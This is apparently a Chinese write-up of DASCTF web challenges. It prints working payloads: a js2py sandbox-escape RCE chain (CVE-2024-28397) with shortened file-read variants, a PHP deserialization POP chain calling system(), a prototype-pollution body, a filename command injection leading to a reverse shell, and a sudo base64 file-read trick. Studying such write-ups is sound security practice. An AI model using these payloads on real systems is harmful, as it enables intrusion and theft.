初赛 anonymity web1, web 手何苦为难 web 手 查看源代码,提示 svn 泄露
只泄露了这一个文件
而且泄露的不是数据库文件,这几段只告知了创表相关的字段,所以 svn 泄露了什么 最后结束师傅们讨论了 SQL 注入,svn 泄露的几段也指向 SQL 注入,但貌似没有师傅注入成功(如有麻烦告知一下 Payload,真没测出怎么注的)
EzPython_3(一血) 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import pyjsparser.parser from flask import Flask, render_template, request, redirect, url_for, session import base64, random, secrets, string, bcrypt, js2py app = Flask(__name__) pyjsparser.parser.ENABLE_PYIMPORT=False users = {} users_hash = {} salt = bcrypt.gensalt() app.secret_key = secrets.token_bytes(16) admin = b'admin' admin_password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) print(admin_password) h = bcrypt.hashpw(admin, salt) users[admin] = admin_password.encode() users_hash[h] = bcrypt.hashpw(admin_password.encode(), salt) print(users, users_hash) @app.route('/') def home(): return redirect(url_for('login')) @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username: bytes = base64.b64decode(request.form['username']) password: bytes = base64.b64decode(request.form['password']) if bcrypt.hashpw(username, salt) in users_hash and users_hash[bcrypt.hashpw(username, salt)] == bcrypt.hashpw( password, salt): if (bcrypt.hashpw(username, salt) == bcrypt.hashpw(b"admin", salt) and users_hash[ bcrypt.hashpw(username, salt)] == users_hash[bcrypt.hashpw(username, salt)] == users_hash[ bcrypt.hashpw(b"admin", salt)]): session['is_admin'] = True return redirect(url_for('admin')) return f"Welcome, {username.decode()}!" else: return "Invalid username or password!" return render_template('login.html') @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username: bytes = base64.b64decode(request.form['username']) password: bytes = base64.b64decode(request.form['password']) if username in users: return "Username already exists!" if len(username) > 15: return "username is too long" users[username] = password users_hash[bcrypt.hashpw(username, salt)] = bcrypt.hashpw(password, salt) print(users, users_hash) return f"User {username.decode()} registered successfully!" return render_template('register.html') @app.route('/admin', methods=['GET', 'POST']) def admin(): if session.get('is_admin'): if request.method == 'POST': js = request.form['jscode'] if len(js) >155: return "too long" try: result=js2py.eval_js(js) return f"ok,{result}" except Exception as e: return f"An error occurred: {str(e)}" else: return render_template('admin.html') else: return redirect(url_for('login')) if __name__ == '__main__': app.run()
逻辑一眼就能看出来,总共也就四个路由 /、/register、/login、/admin,要访问的目标是 admin 路由,要绕过鉴权 session.get('is_admin') login 路由,bcrypt.hashpw(username, salt) == bcrypt.hashpw(b"admin", salt) 将同一个 salt 对两个明文做 bcrypt,等价于 username == b"admin"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username: bytes = base64.b64decode(request.form['username']) password: bytes = base64.b64decode(request.form['password']) if bcrypt.hashpw(username, salt) in users_hash and users_hash[bcrypt.hashpw(username, salt)] == bcrypt.hashpw( password, salt): if (bcrypt.hashpw(username, salt) == bcrypt.hashpw(b"admin", salt) and users_hash[ bcrypt.hashpw(username, salt)] == users_hash[bcrypt.hashpw(username, salt)] == users_hash[ bcrypt.hashpw(b"admin", salt)]): session['is_admin'] = True return redirect(url_for('admin')) return f"Welcome, {username.decode()}!" else: return "Invalid username or password!" return render_template('login.html')
bcrypt 的已知特性,72 字节截断,超过 72 字节的输入会被忽略,但这不帮助弄到和 b"admin" 相等的哈希;NUL 截断,空字节注入是有可能,我对其进行测试
1 2 3 4 admin\x00 admin\x00A admin\x00admin admin\x00\x00
fuzz 出来了
密码随意
1 username=YWRtaW4AYWRtaW4=&password=UGFzc3cwcmQh
拿到 session
进到 /admin 路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @app.route('/admin', methods=['GET', 'POST']) def admin(): if session.get('is_admin'): if request.method == 'POST': js = request.form['jscode'] if len(js) >155: return "too long" try: result=js2py.eval_js(js) return f"ok,{result}" except Exception as e: return f"An error occurred: {str(e)}" else: return render_template('admin.html') else: return redirect(url_for('login'))
关键代码,这里是要做一个变量覆盖、模板注入、还是直接就命令执行?结果会直接嵌在 {result} 中返回响应包
1 2 3 4 5 if len(js) >155: return "too long" try: result=js2py.eval_js(js) return f"ok,{result}"
js2py 只能在非 python3.12 版本下运行,我选择 3.10 进行测试。这个库更多用于爬虫,检索一下相关文章,关于这个库的信息比较少,发现去年爆出一则 CVE 漏洞,主角就是 js2py.eval_js(),竟然能直接 rce:Marven11的漏洞文章
CVE 漏洞详细给了一条链子
1 let cmd = "id";let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;let obj = a(a(a,"__class__"), "__base__");function findpopen(o) {let result;for(let i in o.__subclasses__()) {let item = o.__subclasses__()[i];if(item.__module__ == "subprocess" && item.__name__ == "Popen") {return item}if(item.__name__ != "type" && (result = findpopen(item))) {return result}}};let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();console.log(result);result
RCE! 代码形式于要求完全一致,正中靶心
但问题来了,仅有资料的 payload 长度太大,无法满足低于 155 的要求,需要找到一条更短的链子绕过
分析 这 poc 拿来也看不懂如何实现的,先顺一顺逻辑 js2py/evaljs.py::eval() 将传入的 payload 再套一层 PyJsEvalResult = eval(%s)
随后跟进 execute(),在 195 行调用 js2py/translators/translator.py::translate_js()
js2py/translators/translating_nodes.py::trans() 从全局变量获取对应节点,随后 node(**ele)调用每个相关节点,这些节点大都也是处理 JS 为 Python 代码关键节点 Program会遍历代码的内容并添加变量与函数,最终转换成Python代码
如调试时 Payload 最终解析为
1 2 3 4 var.registers([]) def PyJs_LONG_0_(var=var): return var.get('eval')(Js('传入的代码')) var.put('PyJsEvalResult', PyJs_LONG_0_())
var.get('eval') 取到 JS 的内建 eval 的 Py 包装,然后会将传入的字符串交给 JS 引擎再解析一次 最简单的利用就是直接通过 pyimport 进行导入模块,它是 js2py 库中一个特殊的关键字,它允许在 JS 代码中直接导入并使用 Python 模块
1 pyimport os;var current_dir = os.getcwd();current_dir;
题目最上面定义了 pyjsparser.parser.ENABLE_PYIMPORT = False ,这阻止了显式pyimport语句,不能在用它导入模块 此时在回到最开始的 poc,看看 Marven11 师傅这条利用链是如何实现绕过的
关于 js2py/constructors/jsobject.py 里 Object.getOwnPropertyNames 我的理解是这样的,getOwnPropertyNames 返回一个 Python 对象,Js() 前面并不识别它,于是走到 py_wrap() 生成了 PyObjectWrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 def getOwnPropertyNames(obj): if not obj.is_object(): raise MakeError( 'TypeError', 'Object.getOwnPropertyDescriptor called on non-object') return obj.own.keys() def py_wrap(py): if isinstance(py, (FunctionType, BuiltinFunctionType, MethodType, BuiltinMethodType, dict, int, str, bool, float, list, tuple, long, basestring)) or py is None: return HJs(py) return PyObjectWrapper(py) def Js(val, Clamped=False): '''Converts Py type to PyJs type''' if isinstance(val, PyJs): return val elif val is None: return undefined elif isinstance(val, basestring): return PyJsString(val, StringPrototype) elif isinstance(val, bool): return true if val else false elif isinstance(val, float) or isinstance(val, int) or isinstance( val, long) or (NUMPY_AVAILABLE and isinstance( val, (numpy.int8, numpy.uint8, numpy.int16, numpy.uint16, numpy.int32, numpy.uint32, numpy.float32, numpy.float64))): # This is supposed to speed things up. may not be the case if val in NUM_BANK: return NUM_BANK[val] return PyJsNumber(float(val), NumberPrototype) ... else: # try to convert to js object return py_wrap(val)
在调用 Object.getOwnPropertyNames() 时里面传 []、{}(传入非对象参数会报错), 能拿到 PyObjectWrapper(dict_keys(xxx)) ,于是 JS 层就能访问到 python 属性诸如 __class__、__base__、__subclasses__等,达成了沙盒逃逸
1 2 3 4 5 6 7 8 9 10 11 import js2py import pyjsparser pyjsparser.parser.ENABLE_PYIMPORT = False code = """ a = Object.getOwnPropertyNames({}) b = Object.getOwnPropertyNames([]).__class__.__base__ console.log(a, b) """ js2py.eval_js(code)
所以 poc 的 payload 很好理解了,通过 Object.getOwnPropertyNames({}).__class__.__base__ 拿到 python object类,再写一个递归找 subprocess.Popen 函数,communicate() 拿回显,这被放弃了,太长
Python 沙箱逃逸最常见的就是 帧、闭包、函数全局字典拿 builtins,或者打 pickle 链,但也会非常长,也不一定拿到相关的模块
发现在 Python 里有这样一种类型 import loader(如 zipimporter、_frozen_importlib_external 家族等),这些 loader 的实例常带有 load_module 之类的入口,而在 object基类.__subclasses__() 里总带着 load_module 属性的 loader 类
于是保持 Object.getOwnPropertyNames({}).__class__.__base__; 不变,向上找 load_module,遇到第一个带 load_module 的就 break,用它直接加载内置模块完成读文件/列目录。
最终 payload
读当前工作目录
1 o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("os").getcwd() #len(143)
读目录
1 2 o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("posix").listdir("/") #len(150) o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("os").listdir("/") #len(147)
读文件
1 2 3 for(i in(s=(o=Object.getOwnPropertyNames({}).__class__.__base__).__subclasses__()))if(b=s[i],b.load_module)break;b.load_module("_io").open("/flag").read() #len(154) for(i in(s=(o=Object.getOwnPropertyNames({}).__class__.__base__).__subclasses__()))if(b=s[i],b.load_module)break;b.load_module("io").open("/flag").read() #len(153) # DASCTF{23409102560085073674496300485198}
参考:https://xz.aliyun.com/news/14369 https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/
决赛 easyUploads 文件读取,拿到源码
1 show.php?file=/etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #show.php <?php if (isset($_GET['file'])) { $imagePath = $_GET['file']; if (preg_match("/(\/flag|\/fl|\/f|sort|index\.php|show\.php|\.\.\/|\.\/|\/)/i", $imagePath)){ $imagePath = 'img/1.png'; } } $imageData = file_get_contents($imagePath); if ($imageData !== false) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_buffer($finfo, $imageData); finfo_close($finfo); header("Content-Type: $mimeType"); echo $imageData; exit; } else { echo "Image cannot be read."; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 #index.php <?php // 启动 session session_start(); Class Dog { public $bone; public $meat; public $beef; public $candy; public function __invoke() { if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) { return $this->candy->flag; } } public function __toString() { $function = $this->bone; return $function(); } } CLass mouse { public $rice; public function __get($key) { @eval($this->rice); } } class Cat { public $fish; public function __construct() { } public function __destruct() { echo $this->fish; } } // 处理文件上传 $message = ''; $success = false; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['uploaded_file'])) { $uploadDir = __DIR__ . '/uploads/'; $uploadedFile = $uploadDir . basename($_FILES['uploaded_file']['name']); if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadedFile)) { $message = '上传成功!'; $success = true; $fileContent = file_get_contents($uploadedFile); @unlink($uploadedFile); @unserialize($fileContent); $fileContent = ""; // 设置 session,表示上传成功 $_SESSION['upload_success'] = true; // 重定向,防止刷新页面时重复提交表单 header("Location: " . $_SERVER['PHP_SELF']); echo $message; exit(); } } } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>壁纸上传网站</title> <style> body { background: linear-gradient(135deg, #000000, #ffffff); font-family: Arial, sans-serif; color: #333; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; } .container { text-align: center; background: rgba(255, 255, 255, 0.9); padding: 30px; border-radius: 10px; box-shadow: 0 0 15px rgba(0,0,0,0.2); width: 400px; } h1 { font-size: 24px; margin-bottom: 20px; color: #000; } .message { font-size: 18px; color: green; margin-bottom: 20px; } input[type="file"] { margin: 20px 0; font-size: 16px; } input[type="submit"] { background-color: #333; color: #fff; border: none; padding: 10px 20px; cursor: pointer; border-radius: 5px; } input[type="submit"]:hover { background-color: #555; } .images { margin-top: 40px; } .images-title { font-size: 20px; font-weight: bold; margin-bottom: 20px; color: #444; } .image-item { display: inline-block; margin: 0 10px; } .image-item img { width: 150px; height: 150px; border-radius: 10px; border: 2px solid #333; transition: transform 0.3s; } .image-item img:hover { transform: scale(1.1); } .image-item a { display: block; margin-top: 10px; color: #333; text-decoration: none; font-weight: bold; } .image-item a:hover { color: #555; } </style> <script> function showSuccessAlert() { alert("文件上传成功!"); } // 页面加载后检查是否上传成功 window.onload = function() { <?php if (isset($_SESSION['upload_success']) && $_SESSION['upload_success']) : ?> showSuccessAlert(); <?php // 清除 session 中的上传成功状态 unset($_SESSION['upload_success']); endif; ?> } </script> </head> <body> <div class="container"> <h1>壁纸上传网站</h1> <?php if (!empty($message)) : ?> <div class="message"><?php echo $message; ?></div> <?php endif; ?> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="uploaded_file" required> <br> <input type="submit" value="上传"> </form> <div class="images"> <div class="images-title">精美壁纸如下:</div> <!-- 图片 1 --> <div class="image-item"> <img src="./img/1.png" alt="壁纸1"> <a href="/show.php?file=img/1.png" target="_blank">壁纸1</a> </div> <!-- 图片 2 --> <div class="image-item"> <img src="./img/2.png" alt="壁纸2"> <a href="/show.php?file=img/2.png" target="_blank">壁纸2</a> </div> </div> </div> </body> </html>
上传文件后会将文件内容反序列化 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php Class Dog { public $bone; public $meat; public $beef; public $candy; } CLass mouse { public $rice; } class Cat { public $fish; public function __construct($fish) { $this->fish = $fish; }} $m = new mouse(); $m -> rice = "system('cat /flag');"; $d = new Dog(); $d -> meat = '240610708'; $d -> beef = 'QNKCDZO'; $d -> bone = $d; $d -> candy = $m; $c = new Cat($d); echo (serialize($c)); //O:3:"Cat":1:{s:4:"fish";O:3:"Dog":4:{s:4:"bone";r:2;s:4:"meat";s:9:"240610708";s:4:"beef";s:7:"QNKCDZO";s:5:"candy";O:5:"mouse":1:{s:4:"rice";s:20:"system('cat /flag');";}}}
上传拿到 FLAG
Easy_shop 队友看的这题做完忘截图,比赛时好像赛方直接提示了读 app.js 拿源码,赛后根据源码写了个靶机演示一下完整攻击链
一看肯定要买 FLAG,但 MONEY 不够
通过购买负数的形式增加余额
再购买 FLAG,提示了一个路由
访问路由
发现存在任意文件读取漏洞
1 fileName=../../../etc/passwd
读取 FLAG 提示“你还真读FLAG啊”,于是尝试读源码
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 const express = require('express'); const app = express(); const fs = require('fs'); const port = 3000; const bodyParser = require('body-parser'); app.set('view engine', 'ejs'); app.use(express.static('public')); app.use(bodyParser.urlencoded({ extended: true })); let money = 1000; const initialMoney = 1000; let message = ''; const products = [ { name: '帽子', price: 10 }, { name: '棒球', price: 15 }, { name: 'iphone', price: 150 }, { name: 'flag', price: 1500 }, ]; app.get('/showflag', (req, res) => { res.render('readfile'); }); app.post('/readfile', (req, res) => { const fileName = req.body.fileName; if (fileName.includes("fl")) { return res.status(200).send('你还真读flag啊'); } fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => { if (err) { res.status(500).send('Error reading the file'); } else { res.send(data); } }); }); app.get('/', (req, res) => { res.render('index', { products, money, message }); }); app.get('/buy/:productIndex', (req, res) => { const productIndex = req.params.productIndex; let quantity = req.query.quantity || 1; if (productIndex === '3') { quantity = Math.abs(quantity); if (products[productIndex] && money >= products[productIndex].price * quantity) { money -= products[productIndex].price * quantity; message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`; res.render('index', { products, money, message, showAlert: true }); } else { message = 'flag很贵的'; res.redirect('/'); } }else{ if (products[productIndex] && money >= products[productIndex].price * quantity) { money -= products[productIndex].price * quantity; message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`; res.render('index', { products, money, message, showAlert: true }); } else { message = '购买失败,钱不够啊老铁.'; res.redirect('/'); } } }); function copy(object1, object2) { if (typeof object1 !== 'object' || object1 === null || typeof object2 !== 'object' || object2 === null) { return; } for (let key in object2) { if ( typeof object2[key] === 'object' && object2[key] !== null && typeof object1[key] === 'object' && object1[key] !== null ) { copy(object1[key], object2[key]); } else { object1[key] = object2[key]; } } } app.post('/getflag', require('body-parser').json(), function (req, res, next) { res.type('html'); const flagFilePath = '/flag'; let flag = ''; fs.readFile(flagFilePath, 'utf8', (err, data) => { if (err) { console.error(`无法读取文件: ${flagFilePath}`); } else { flag = data; var secert = {}; var sess = req.session; let user = {}; copy(user, req.body); if (secert.testattack === 'admin') { res.end(flag); } else { return res.send("no,no,no!"); } } }); }); app.get('/reset', (req, res) => { money = initialMoney; message = ''; res.redirect('/'); }); app.listen(port, () => { console.log(`Server is running on http://localhost:${port}`); });
quantity 什么也没处理就乘,导致了逻辑漏洞
1 money -= products[productIndex].price * quantity;
接下来就是最基础的原型链污染,都是基于 Object的原型,直接污染即可
1 {"__proto__":{"testattack":"admin"}}
img2base64 复现,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import os import re import subprocess from flask import Flask, request, render_template, jsonify app = Flask(__name__) UPLOAD_FOLDER = 'uploads/' if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def checkname(filename): ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]" noip = re.compile(r"\d+\.\d+") if re.search(ILLEGAL_CHARACTERS, filename): return False if ".." in filename : return False if(noip.findall(filename)): return False @app.route('/') def upload_form(): return render_template('upload.html') @app.route('/upload', methods=['POST']) def upload_file(): if 'file' not in request.files: return jsonify({"error": "No file part in the request"}), 400 file = request.files['file'] if file.filename == '': return jsonify({"error": "No file selected"}), 400 if(checkname(file.filename)==False): return jsonify({"error": "Not hacking!"}), 500 if file: file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename) file.save(file_path) result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True) encoded_string = result.stdout.strip() return jsonify({ "filename": file.filename, "base64": encoded_string }) if __name__ == '__main__': app.run(host='0.0.0.0',port=5000)
Python subprocess.run() 命令执行,程序会先进行文件上传,对上传的内容不进行任何检测,直接保存至 uploads/目录下,对上传 filename检测拼接 uploads/+filename传给 run 进行命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @app.route('/upload', methods=['POST']) def upload_file(): if 'file' not in request.files: return jsonify({"error": "No file part in the request"}), 400 file = request.files['file'] if file.filename == '': return jsonify({"error": "No file selected"}), 400 if(checkname(file.filename)==False): return jsonify({"error": "Not hacking!"}), 500 if file: file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename) file.save(file_path) result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True) encoded_string = result.stdout.strip() return jsonify({ "filename": file.filename, "base64": encoded_string })
WAF 过滤了 * = & " % ; < > i a s h t o ! @ ( ) { } [ ] _ ^ ' ~ \ # ,没有过滤 |,用管道符插入 RCE
1 2 3 4 5 6 7 8 9 10 app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def checkname(filename): ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]" noip = re.compile(r"\d+\.\d+") if re.search(ILLEGAL_CHARACTERS, filename): return False if ".." in filename : return False if(noip.findall(filename)): return False
执行一下 pwd 试试,||前错后执行,cat 尝试读目录必定报错
i a s h t o ..这些字符不能用,无法直接在 filename看目录、查文件,但之前看到文件内容是完全不做检测的,subprocess.run设置 shell=true直接启动 shell 环境,且变量可用,$0是 Shell 的位置参数
文件内写入反弹 shell
在通过管道符执行,完成反弹 shell
1 cat uploads/111|$0|base64
比赛环境内网 FLAG 为 ROOT 权限,sudo -l有 base64,用 base64 读取 FLAG 文件即可,赛后就不模拟这个环境了
1 sudo base64 "$LFILE" | base64 --decode
genshop 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from flask import Flask, request, send_file import socket app = Flask("webserver") @app.route('/', methods=["GET"]) def index(): return send_file(__file__) @app.route('/nc', methods=["POST"]) def nc(): try: dstport = int(request.form['port']) data = request.form['data'] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.connect(('127.0.0.1', dstport)) s.send(data.encode()) recvdata = b'' while True: chunk = s.recv(2048) if not chunk.strip(): break else: recvdata += chunk continue return recvdata except Exception as e: return str(e) app.run(host="0.0.0.0", port=8080, threaded=True)
提供了 socket 连接服务,被限制访问在 127.0.0.1,应该没法直接反弹 Shell,可能题目内部设置了别的服务,内网探测之后组合利用漏洞,推测思路是这样,但没环境不好复现了